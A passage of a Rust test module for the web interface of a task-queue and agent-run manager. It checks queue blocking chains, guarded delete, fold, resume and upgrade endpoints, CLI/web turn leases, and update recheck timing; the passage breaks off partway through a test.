20629 let view = list
20630 .as_array()
20631 .expect("array")
20632 .iter()
20633 .find(|v| v["id"] == t.id)
20634 .expect("task in list");
20635 assert_eq!(view["status_str"], "blocked");
20636 assert_eq!(
20637 view["blocked_by"],
20638 serde_json::json!(["20260101-000000-dead"])
20639 );
20640 assert_eq!(view["block_reason"], "waiting on Task 1");
20641 assert_eq!(view["answers"][0]["question"], "Which backend?");
20642 assert_eq!(view["answers"][0]["answer"], "SQLite");
20643
20644 let res = fx
20648 .post(&format!("/api/queue/{}/hold", t.short()), None)
20649 .await;
20650 assert_eq!(res.status, 200);
20651 let held = res.json();
20652 assert_eq!(held["status_str"], "held");
20653 assert_eq!(held["blocked_by"], serde_json::json!([]));
20654 assert!(held["block_reason"].is_null());
20655 assert_eq!(held["answers"][0]["answer"], "SQLite");
20656 }
20657
20658 #[tokio::test]
20659 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
20660 let fx = Fixture::start().await;
20661 let q = fx.queue();
20662 let mk = |title: &str| {
20663 Task::new(
20664 title.to_owned(),
20665 "Instruction".to_owned(),
20666 PathBuf::from("/repo"),
20667 Source::Human,
20668 )
20669 };
20670 let mut root = mk("root");
20671 root.hold_manual(Some("waiting".to_owned()));
20672 q.put(&mut root).unwrap();
20673 let mut mid = mk("mid");
20674 mid.block(vec![root.id.clone()], None);
20675 q.put(&mut mid).unwrap();
20676 let mut leaf = mk("leaf");
20677 leaf.block(vec![mid.id.clone()], None);
20678 q.put(&mut leaf).unwrap();
20679
20680 let list = fx.get("/api/queue").await.json();
20681 let find = |id: &str| {
20682 list.as_array()
20683 .unwrap()
20684 .iter()
20685 .find(|v| v["id"] == id)
20686 .unwrap()
20687 .clone()
20688 };
20689 let leaf_view = find(&leaf.id);
20690 assert_eq!(
20691 leaf_view["waits_on"],
20692 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
20693 );
20694 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
20695 assert_eq!(
20696 find(&mid.id)["waits_on"],
20697 serde_json::json!([format!("{} (held)", root.short())])
20698 );
20699 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
20700 }
20701
20702 #[tokio::test]
20703 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
20704 let fx = Fixture::start().await;
20705 let q = fx.queue();
20706
20707 let mut t1 = Task::new(
20709 "Task 1".to_owned(),
20710 "Instruction 1".to_owned(),
20711 PathBuf::from("/repo"),
20712 Source::Human,
20713 );
20714 let run_id = "20260901-000000-r111";
20715 t1.runs.push(run_id.to_owned());
20716 write_run(&fx.runs(), run_id, RunStatus::Merged);
20717 q.put(&mut t1).expect("put t1");
20718
20719 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
20721 assert_eq!(res.status, 204);
20722 assert!(res.body.is_empty(), "204 No Content has no body");
20723 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
20724 assert!(
20725 fx.runs().join(run_id).exists(),
20726 "run directory must not be deleted when its task is deleted"
20727 );
20728
20729 let mut t2 = Task::new(
20731 "Task 2".to_owned(),
20732 "Instruction 2".to_owned(),
20733 PathBuf::from("/repo"),
20734 Source::Human,
20735 );
20736 t2.status = TaskStatus::Running;
20737 q.put(&mut t2).expect("put t2");
20738 let mut beat = crate::daemon::Status::new();
20739 beat.current = vec![crate::daemon::Current {
20740 task: t2.id.clone(),
20741 run: "20260901-000000-r222".to_owned(),
20742 }];
20743 beat.updated_at = jiff::Timestamp::now();
20744 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20745 .expect("publish a heartbeat");
20746 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
20747 assert_eq!(res.status, 409);
20748 assert!(
20749 res.json()["error"]
20750 .as_str()
20751 .unwrap()
20752 .contains("live daemon")
20753 );
20754 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
20755
20756 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
20762 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20763 .expect("leave a stale heartbeat");
20764 let mut t3 = Task::new(
20765 "Task 3".to_owned(),
20766 "Instruction 3".to_owned(),
20767 PathBuf::from("/repo"),
20768 Source::Human,
20769 );
20770 t3.status = TaskStatus::Running;
20771 q.put(&mut t3).expect("put t3");
20772 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
20773 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
20774 assert_eq!(res.status, 204);
20775 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
20776 assert!(
20777 q.claim(&t3.id).is_ok(),
20778 "the stale lock went with it, so the id is claimable again"
20779 );
20780
20781 let res = fx.delete("/api/queue/nonexistent").await;
20783 assert_eq!(res.status, 404);
20784 }
20785
20786 #[tokio::test]
20787 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
20788 let fx = Fixture::start().await;
20789 let runs = fx.runs();
20790
20791 let run_id = "20260901-000000-fold";
20793 let mut state = RunState::new(
20794 PathBuf::from("/repo"),
20795 "main".to_owned(),
20796 "abc".to_owned(),
20797 "instruction".to_owned(),
20798 Config::default(),
20799 );
20800 state.id = run_id.to_owned();
20801 state.status = RunStatus::Merged;
20802 state.candidates.push(crate::run::Candidate {
20803 index: 0,
20804 label: 'A',
20805 agent: "a".to_owned(),
20806 branch: "b".to_owned(),
20807 worktree: PathBuf::from("/w"),
20808 summary: String::new(),
20809 stat: String::new(),
20810 files: 1,
20811 commits: 1,
20812 empty: false,
20813 failed: None,
20814 verified_noop: None,
20815 duration_ms: 0,
20816 folded: true,
20817 });
20818 let dir = runs.join(run_id);
20819 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
20820 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
20821 .expect("write artifact");
20822 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
20823 .expect("write run.json");
20824
20825 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
20827 assert_eq!(res.status, 204);
20828 assert!(res.body.is_empty(), "204 has no body");
20829 assert!(!dir.exists(), "run directory and artifacts must be deleted");
20830
20831 let run_running = "20260901-000000-rung";
20836 write_run(&runs, run_running, RunStatus::Prep);
20837 let mut beat = crate::daemon::Status::new();
20838 beat.current = vec![crate::daemon::Current {
20839 task: "20260901-000000-task".to_owned(),
20840 run: run_running.to_owned(),
20841 }];
20842 beat.updated_at = jiff::Timestamp::now();
20843 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20844 .expect("publish a heartbeat");
20845 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
20846 assert_eq!(res.status, 409);
20847 assert!(
20848 res.json()["error"]
20849 .as_str()
20850 .unwrap()
20851 .contains("live daemon"),
20852 "the refusal must say who is holding it"
20853 );
20854 assert!(
20855 runs.join(run_running).exists(),
20856 "a run in flight keeps its directory"
20857 );
20858
20859 let run_unfolded = "20260901-000000-unfd";
20861 let mut state2 = RunState::new(
20862 PathBuf::from("/repo"),
20863 "main".to_owned(),
20864 "abc".to_owned(),
20865 "instruction".to_owned(),
20866 Config::default(),
20867 );
20868 state2.id = run_unfolded.to_owned();
20869 state2.status = RunStatus::Ready;
20870 state2.candidates.push(crate::run::Candidate {
20871 index: 0,
20872 label: 'A',
20873 agent: "a".to_owned(),
20874 branch: "b".to_owned(),
20875 worktree: PathBuf::from("/w"),
20876 summary: String::new(),
20877 stat: String::new(),
20878 files: 1,
20879 commits: 1,
20880 empty: false,
20881 failed: None,
20882 verified_noop: None,
20883 duration_ms: 0,
20884 folded: false,
20885 });
20886 let dir2 = runs.join(run_unfolded);
20887 std::fs::create_dir_all(&dir2).expect("create dir2");
20888 std::fs::write(
20889 dir2.join("run.json"),
20890 serde_json::to_string(&state2).unwrap(),
20891 )
20892 .expect("write run.json");
20893
20894 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20895 assert_eq!(res.status, 409);
20896 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20897 assert!(dir2.exists(), "unfolded run directory is kept");
20898
20899 let res = fx.delete("/api/runs/nonexistent").await;
20901 assert_eq!(res.status, 404);
20902 }
20903
20904 #[test]
20913 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20914 let start = APP_JS
20915 .find("function renderStats() {")
20916 .expect("renderStats");
20917 let end = start
20918 + APP_JS[start..]
20919 .find("function statsTile(")
20920 .expect("the next top-level function");
20921 let body = &APP_JS[start..end];
20922
20923 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20924 let gate_end = gate_start
20925 + body[gate_start..]
20926 .find("}\n renderStatsQueue")
20927 .expect("the gate's own closing brace, right before the unconditional call");
20928 let gated = &body[gate_start..gate_end];
20929
20930 assert_eq!(
20931 body.matches("renderStatsQueue(").count(),
20932 1,
20933 "renderStats must call renderStatsQueue exactly once: {body}"
20934 );
20935 assert!(
20936 !gated.contains("renderStatsQueue"),
20937 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20938 run-derived panels on an empty run history - the queue panel has to render \
20939 regardless: {gated}"
20940 );
20941 }
20942
20943 #[test]
20944 fn web_ui_delete_contract_in_front_end() {
20945 assert!(APP_JS.contains("deleteRun:"));
20947 assert!(APP_JS.contains("deleteTask:"));
20948
20949 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20951 ..APP_JS.find("function renderRuns").unwrap()];
20952 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20953
20954 assert!(APP_JS.contains("renderRunDelete"));
20956 assert!(APP_JS.contains("runDeleteReason"));
20957 assert!(APP_JS.contains("magi fold"));
20958 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20959
20960 assert!(APP_JS.contains("cancel.focus"));
20962 assert!(APP_JS.contains("armedRunDelete"));
20963 assert!(APP_JS.contains("renderTaskDeleteBox"));
20964 assert!(APP_JS.contains("armed${cap(key)}"));
20965
20966 assert!(APP_JS.contains("disabled: status === \"running\""));
20968 }
20969
20970 #[test]
20990 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20991 let build = APP_JS
20992 .find("function createRunCard")
20993 .expect("createRunCard exists");
20994 let update = APP_JS
20995 .find("function updateRunCard")
20996 .expect("updateRunCard exists");
20997 let end = APP_JS
20998 .find("function renderRuns")
20999 .expect("renderRuns exists");
21000
21001 let builder = &APP_JS[build..update];
21003 let open = builder.find("refs = {").expect("createRunCard sets refs");
21004 let literal = &builder[open + "refs = {".len()..];
21005 let close = literal.find('}').expect("the refs literal is closed");
21006 let published: HashSet<&str> = literal[..close]
21007 .split(',')
21008 .filter_map(|entry| entry.split(':').next())
21010 .map(str::trim)
21011 .filter(|name| !name.is_empty())
21012 .collect();
21013 assert!(
21014 published.len() > 5,
21015 "the refs literal did not parse into names: {published:?}"
21016 );
21017
21018 let mut used: Vec<&str> = Vec::new();
21021 let updaters = &APP_JS[update..end];
21022 for (at, _) in updaters.match_indices("r.") {
21023 let before = updaters[..at].chars().next_back();
21026 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21027 continue;
21028 }
21029 let rest = &updaters[at + 2..];
21030 let len = rest
21031 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21032 .unwrap_or(rest.len());
21033 if len > 0 {
21034 used.push(&rest[..len]);
21035 }
21036 }
21037 assert!(
21038 used.len() > 5,
21039 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21040 );
21041
21042 let missing: Vec<&str> = used
21043 .iter()
21044 .copied()
21045 .filter(|name| !published.contains(name))
21046 .collect();
21047 assert!(
21048 missing.is_empty(),
21049 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21050 never put in `refs` - every card will throw and the list will \
21051 render empty under a count line that says otherwise. Published: \
21052 {published:?}"
21053 );
21054 }
21055
21056 #[tokio::test]
21057 async fn folding_from_the_phone_reports_what_it_removed() {
21058 let fx = Fixture::start().await;
21059 let runs = fx.runs();
21060
21061 let id = "20260901-000000-fold";
21065 write_run(&runs, id, RunStatus::Stalled);
21066 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21067 assert_eq!(res.status, 200);
21068 assert_eq!(res.json()["removed_count"], 0);
21069 assert_eq!(res.json()["run"], id);
21070 assert!(
21071 runs.join(id).exists(),
21072 "a fold keeps the run's record; only the worktrees go"
21073 );
21074 }
21075
21076 #[tokio::test]
21077 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21078 let fx = Fixture::start().await;
21079 let runs = fx.runs();
21080 let wt = fx.home.path().join("wt").join("magi").join("dead");
21081 let id = "20260901-000000-dead";
21082 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21083 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21084 std::fs::create_dir_all(&wt).expect("worktree dir");
21085
21086 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21087 assert_eq!(res.status, 200, "{}", res.body);
21088 assert!(
21089 res.json()["removed_count"].as_u64().unwrap() > 0,
21090 "the worktree this build could not read a state for still went"
21091 );
21092 assert!(
21093 !runs.join(id).exists(),
21094 "an unreadable run has no candidate list to fold selectively, so \
21095 the whole record goes - same as `magi fold` on the CLI"
21096 );
21097 }
21098
21099 #[tokio::test]
21100 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21101 let fx = Fixture::start().await;
21102 let runs = fx.runs();
21103 let wt = fx.home.path().join("wt").join("magi").join("gone");
21104 let id = "20260901-000000-gone";
21105 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21106 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21107 std::fs::create_dir_all(&wt).expect("worktree dir");
21108
21109 let res = fx.delete(&format!("/api/runs/{id}")).await;
21110 assert_eq!(res.status, 204, "{}", res.body);
21111 assert!(!runs.join(id).exists(), "the broken record is gone");
21112 assert!(!wt.exists(), "its worktree is gone too");
21113 }
21114
21115 #[tokio::test]
21116 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21117 let fx = Fixture::start().await;
21118 let runs = fx.runs();
21119 let id = "20260901-000000-live";
21120 write_run(&runs, id, RunStatus::Implementing);
21121
21122 let mut beat = crate::daemon::Status::new();
21123 beat.current = vec![crate::daemon::Current {
21124 task: "20260901-000000-task".to_owned(),
21125 run: id.to_owned(),
21126 }];
21127 beat.updated_at = jiff::Timestamp::now();
21128 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21129 .expect("publish a heartbeat");
21130
21131 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21132 assert_eq!(res.status, 409);
21133 assert!(
21134 res.json()["error"]
21135 .as_str()
21136 .unwrap()
21137 .contains("live daemon"),
21138 "folding under a running agent would pull its worktree away"
21139 );
21140 }
21141
21142 #[tokio::test]
21143 async fn fold_merged_requires_a_pr_url() {
21144 let fx = Fixture::start().await;
21145 let runs = fx.runs();
21146 let id = "20260901-000000-nourl";
21147 write_run(&runs, id, RunStatus::Blocked);
21148
21149 let res = fx
21150 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21151 .await;
21152 assert_eq!(res.status, 400, "{}", res.body);
21153
21154 let blank = fx
21155 .post(
21156 &format!("/api/runs/{id}/fold-merged"),
21157 Some(r#"{"pr_url":" "}"#),
21158 )
21159 .await;
21160 assert_eq!(blank.status, 400, "{}", blank.body);
21161 }
21162
21163 #[tokio::test]
21164 async fn fold_merged_is_404_for_an_unknown_run() {
21165 let fx = Fixture::start().await;
21166 let res = fx
21167 .post(
21168 "/api/runs/nosuchrun/fold-merged",
21169 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21170 )
21171 .await;
21172 assert_eq!(res.status, 404, "{}", res.body);
21173 }
21174
21175 #[tokio::test]
21176 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21177 let fx = Fixture::start().await;
21178 let runs = fx.runs();
21179 let id = "20260901-000000-livemerge";
21180 write_run(&runs, id, RunStatus::Blocked);
21181
21182 let mut beat = crate::daemon::Status::new();
21183 beat.current = vec![crate::daemon::Current {
21184 task: "20260901-000000-task".to_owned(),
21185 run: id.to_owned(),
21186 }];
21187 beat.updated_at = jiff::Timestamp::now();
21188 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21189 .expect("publish a heartbeat");
21190
21191 let res = fx
21192 .post(
21193 &format!("/api/runs/{id}/fold-merged"),
21194 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21195 )
21196 .await;
21197 assert_eq!(res.status, 409, "{}", res.body);
21198 assert!(
21199 res.json()["error"]
21200 .as_str()
21201 .unwrap()
21202 .contains("live daemon"),
21203 "correcting a run's merge underneath a running agent would race \
21204 whatever it is doing to the same `status`/`merge` fields"
21205 );
21206 }
21207
21208 #[tokio::test]
21213 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21214 let fx = Fixture::start().await;
21215 let runs = fx.runs();
21216 let id = "20260901-000000-unconfirmed";
21217 write_run(&runs, id, RunStatus::Blocked);
21218
21219 let res = fx
21220 .post(
21221 &format!("/api/runs/{id}/fold-merged"),
21222 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21223 )
21224 .await;
21225 assert_eq!(res.status, 400, "{}", res.body);
21226 assert_eq!(
21227 read_run(&runs, id).unwrap().status,
21228 RunStatus::Blocked,
21229 "a pull request that could not be confirmed merged must leave \
21230 the run exactly where it was"
21231 );
21232 }
21233
21234 #[tokio::test]
21235 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
21236 let fx = Fixture::start().await;
21237 let runs = fx.runs();
21238
21239 for (status, word) in [
21245 (RunStatus::Merged, "merged"),
21246 (RunStatus::Ready, "ready"),
21247 (RunStatus::Failed, "failed"),
21248 ] {
21249 let id = format!("20260901-000000-{}", &word[..4]);
21250 write_run(&runs, &id, status);
21251 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21252 assert_eq!(res.status, 409, "{word} must not be resumable");
21253 let err = res.json()["error"].as_str().unwrap().to_owned();
21254 assert!(err.contains(word), "the refusal names the status: {err}");
21255 }
21256
21257 let mid = "20260901-000000-midf";
21262 write_run(&runs, mid, RunStatus::Reviewing);
21263 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
21264 assert_eq!(res.status, 202, "an interrupted run is resumable");
21265 }
21266
21267 #[tokio::test]
21268 async fn resume_is_refused_while_the_loop_is_running() {
21269 let fx = Fixture::start().await;
21270 let runs = fx.runs();
21271 let stalled = "20260901-000000-stal";
21272 write_run(&runs, stalled, RunStatus::Stalled);
21273
21274 let mut beat = crate::daemon::Status::new();
21278 beat.current = vec![crate::daemon::Current {
21279 task: "20260901-000000-task".to_owned(),
21280 run: "20260901-000000-othr".to_owned(),
21281 }];
21282 beat.updated_at = jiff::Timestamp::now();
21283 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21284 .expect("publish a heartbeat");
21285
21286 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21287 assert_eq!(res.status, 409);
21288 let err = res.json()["error"].as_str().unwrap().to_owned();
21289 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21290 assert!(err.contains("stop it first"), "{err}");
21291 }
21292
21293 #[test]
21294 fn a_run_cannot_be_resumed_twice_at_once() {
21295 let home = TempDir::new().expect("temp home");
21296 let ui = Ui::new(
21297 Queue::at(home.path().join("queue")),
21298 Questions::at(home.path().join("questions")),
21299 Talks::at(home.path().join("talks")),
21300 home.path().join("runs"),
21301 home.path().to_path_buf(),
21302 PathBuf::from("/repo"),
21303 )
21304 .with_worktrees_root(home.path().join("wt"));
21305 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21306 let again = ui.begin_resume("20260901-000000-once");
21307 assert!(again.is_err(), "a second tap must not start a second graph");
21308 drop(first);
21309 assert!(
21310 ui.begin_resume("20260901-000000-once").is_ok(),
21311 "and the claim is released when the attempt ends"
21312 );
21313 }
21314
21315 #[test]
21316 fn talk_thinking_tracks_only_its_held_turn_claim() {
21317 let home = TempDir::new().expect("temp home");
21318 let ui = Ui::new(
21319 Queue::at(home.path().join("queue")),
21320 Questions::at(home.path().join("questions")),
21321 Talks::at(home.path().join("talks")),
21322 home.path().join("runs"),
21323 home.path().to_path_buf(),
21324 PathBuf::from("/repo"),
21325 )
21326 .with_worktrees_root(home.path().join("wt"));
21327 let id = "20260901-000000-once";
21328
21329 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21330 let turn = ui.begin_talk_turn(id).expect("claim turn");
21331 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21332 assert!(
21333 !ui.is_thinking("20260901-000000-other"),
21334 "one talk's turn does not make another talk busy"
21335 );
21336 drop(turn);
21337 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21338 }
21339
21340 #[test]
21341 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21342 let home = TempDir::new().expect("temp home");
21343 let talks = Talks::at(home.path().join("talks"));
21344 let ui = Ui::new(
21345 Queue::at(home.path().join("queue")),
21346 Questions::at(home.path().join("questions")),
21347 talks.clone(),
21348 home.path().join("runs"),
21349 home.path().to_path_buf(),
21350 PathBuf::from("/repo"),
21351 )
21352 .with_worktrees_root(home.path().join("wt"));
21353 let id = "20260901-000000-cross";
21354
21355 let other = Talks::at(home.path().join("talks"))
21356 .claim_turn(id)
21357 .expect("claim")
21358 .expect("the other process wins");
21359 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21360 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21361 assert!(
21362 matches!(
21363 ui.begin_talk_turn_unless_pending(id).expect("start"),
21364 TalkTurnStart::Foreign
21365 ),
21366 "a foreign holder is refused, not queued behind"
21367 );
21368 assert!(
21369 !ui.talk_turns.lock().unwrap().live.contains(id),
21370 "a refused claim leaves no in-process entry behind"
21371 );
21372 drop(other);
21373 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21374 assert!(talks.turn_held(id), "the web turn holds the lease");
21375 drop(turn);
21376 assert!(
21377 !talks.turn_held(id),
21378 "dropping the guard releases the lease"
21379 );
21380 }
21381
21382 fn consult_question(ui: &Ui) -> Question {
21383 let mut q = Question::new(
21384 "20260901-000000-consult".to_owned(),
21385 "implement".to_owned(),
21386 "impl-A".to_owned(),
21387 "Which backend?".to_owned(),
21388 String::new(),
21389 vec!["SQLite".to_owned(), "Redis".to_owned()],
21390 );
21391 ui.questions.put(&mut q).expect("question");
21392 q
21393 }
21394
21395 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21396 (
21397 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21398 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21399 )
21400 }
21401
21402 #[tokio::test]
21403 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21404 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21405 let q = consult_question(&ui);
21406 let talk = ui.talks.get(&id).expect("talk");
21407 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21408 let before = consult_snapshot(&ui, &q, &id);
21409 let cli_talks = Talks::at(ui.home.join("talks"));
21410 assert_eq!(
21411 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21412 .await
21413 .expect("CLI starter"),
21414 crate::consult::Started::Busy
21415 );
21416 assert_eq!(consult_snapshot(&ui, &q, &id), before);
21417 assert!(ui.is_thinking(&id));
21418 drop(guard);
21419 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21420 }
21421
21422 #[tokio::test]
21423 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21424 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21425 let q = consult_question(&ui);
21426 let talk = ui.talks.get(&id).expect("talk");
21427 let started = tmp.path().join("started");
21428 let release = tmp.path().join("release");
21429 let script = tmp.path().join("consult-agent.sh");
21430 std::fs::write(
21431 &script,
21432 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
21433 )
21434 .expect("script");
21435 let mut cfg = stub_config();
21436 cfg.agents[0].id = "mock".to_owned();
21437 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21438 cfg.agents[0].env = std::collections::BTreeMap::from([
21439 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21440 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21441 ]);
21442 let questions = ui.questions.clone();
21443 let cli_talks = Talks::at(ui.home.join("talks"));
21444 let cli_q = q.clone();
21445 let turn = tokio::spawn(async move {
21446 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21447 });
21448 let ready = tokio::time::timeout(Duration::from_secs(30), async {
21449 while !started.exists() {
21450 tokio::time::sleep(Duration::from_millis(10)).await;
21451 }
21452 })
21453 .await;
21454 let refusal = if ready.is_ok() {
21457 let before = consult_snapshot(&ui, &q, &id);
21458 let result = talk_say(
21459 State(Arc::clone(&ui)),
21460 Path(id.clone()),
21461 Ok(Json(NewTalkTurn {
21462 reply_to: None,
21463 text: "another message".to_owned(),
21464 attachments: Vec::new(),
21465 })),
21466 )
21467 .await;
21468 Some((result, before, consult_snapshot(&ui, &q, &id)))
21469 } else {
21470 None
21471 };
21472 std::fs::write(&release, "").expect("release agent");
21473 let done = turn.await.expect("join CLI turn");
21474 ready.expect("agent started before deadline");
21475 let (result, before, after) = refusal.expect("web request");
21476 let error = result.expect_err("web must refuse the CLI's turn");
21477 assert_eq!(error.status, StatusCode::CONFLICT);
21478 assert!(error.message.contains("a turn is already running"));
21479 assert_eq!(
21480 after, before,
21481 "refusal preserves question, draft and history"
21482 );
21483 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21484 let guard = ui
21485 .begin_talk_turn(&id)
21486 .expect("web claim")
21487 .expect("free again");
21488 drop(guard);
21489 }
21490
21491 #[test]
21492 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21493 let home = TempDir::new().expect("temp home");
21494 let talks = Talks::at(home.path().join("talks"));
21495 let ui = Ui::new(
21496 Queue::at(home.path().join("queue")),
21497 Questions::at(home.path().join("questions")),
21498 talks.clone(),
21499 home.path().join("runs"),
21500 home.path().to_path_buf(),
21501 PathBuf::from("/repo"),
21502 )
21503 .with_worktrees_root(home.path().join("wt"));
21504 let id = "20260901-000000-order";
21505 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21506 let slots = ui.talk_turns.lock().unwrap();
21508 let dropper = std::thread::spawn(move || drop(turn));
21509 let start = std::time::Instant::now();
21510 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21511 std::thread::sleep(Duration::from_millis(5));
21512 }
21513 assert!(!talks.turn_held(id), "the lease is released first");
21514 assert!(slots.live.contains(id), "the slot is still held meanwhile");
21515 drop(slots);
21516 dropper.join().expect("join");
21517 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21518 }
21519
21520 #[tokio::test]
21521 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
21522 let fx = Fixture::start().await;
21523 let mut beat = crate::daemon::Status::new();
21527 beat.pid = 4321;
21528 beat.updated_at = jiff::Timestamp::now();
21529 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21530 .expect("publish a heartbeat");
21531
21532 let res = fx.post("/api/upgrade", None).await;
21533 assert_eq!(res.status, 409);
21534 let err = res.json()["error"].as_str().unwrap().to_owned();
21535 assert!(err.contains("4321"), "the refusal names the owner: {err}");
21536 assert!(err.contains("old one against the same queue"), "{err}");
21537 }
21538
21539 #[test]
21546 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21547 assert!(!should_spawn_recheck(&crate::config::Update {
21548 mode: UpdateMode::Off,
21549 interval: None,
21550 }));
21551
21552 unsafe {
21555 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21556 }
21557 let killed = should_spawn_recheck(&crate::config::Update {
21558 mode: UpdateMode::Notify,
21559 interval: None,
21560 });
21561 unsafe {
21562 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21563 }
21564 assert!(
21565 !killed,
21566 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21567 one-time startup check"
21568 );
21569
21570 assert!(should_spawn_recheck(&crate::config::Update {
21571 mode: UpdateMode::Notify,
21572 interval: None,
21573 }));
21574 }
21575
21576 #[test]
21582 fn recheck_poll_period_tracks_a_short_configured_interval() {
21583 let short = crate::config::Update {
21584 mode: UpdateMode::Notify,
21585 interval: Some("1m".to_owned()),
21586 };
21587 let period = recheck_poll_period(&short);
21588 assert!(
21589 period <= Duration::from_secs(30),
21590 "a one-minute interval must wake the task far sooner than the \
21591 default ceiling, or the deck would not notice within the \
21592 interval the operator configured: got {period:?}"
21593 );
21594
21595 let default = crate::config::Update {
21596 mode: UpdateMode::Notify,
21597 interval: None,
21598 };
21599 assert_eq!(
21600 recheck_poll_period(&default),
21601 UPDATE_RECHECK_POLL_MAX,
21602 "the default day-long interval should poll at the (capped) \
21603 ceiling rather than needlessly often"
21604 );
21605 }
21606
21607 #[test]
21615 fn recheck_skips_the_network_before_the_interval_elapses() {
21616 let dir = TempDir::new().expect("temp dir");
21617 let path = dir.path().join("state.json");
21618 let state = kaishin::UpdateCheckState {
21619 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21620 last_known_latest: None,
21621 last_known_url: None,
21622 };
21623 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
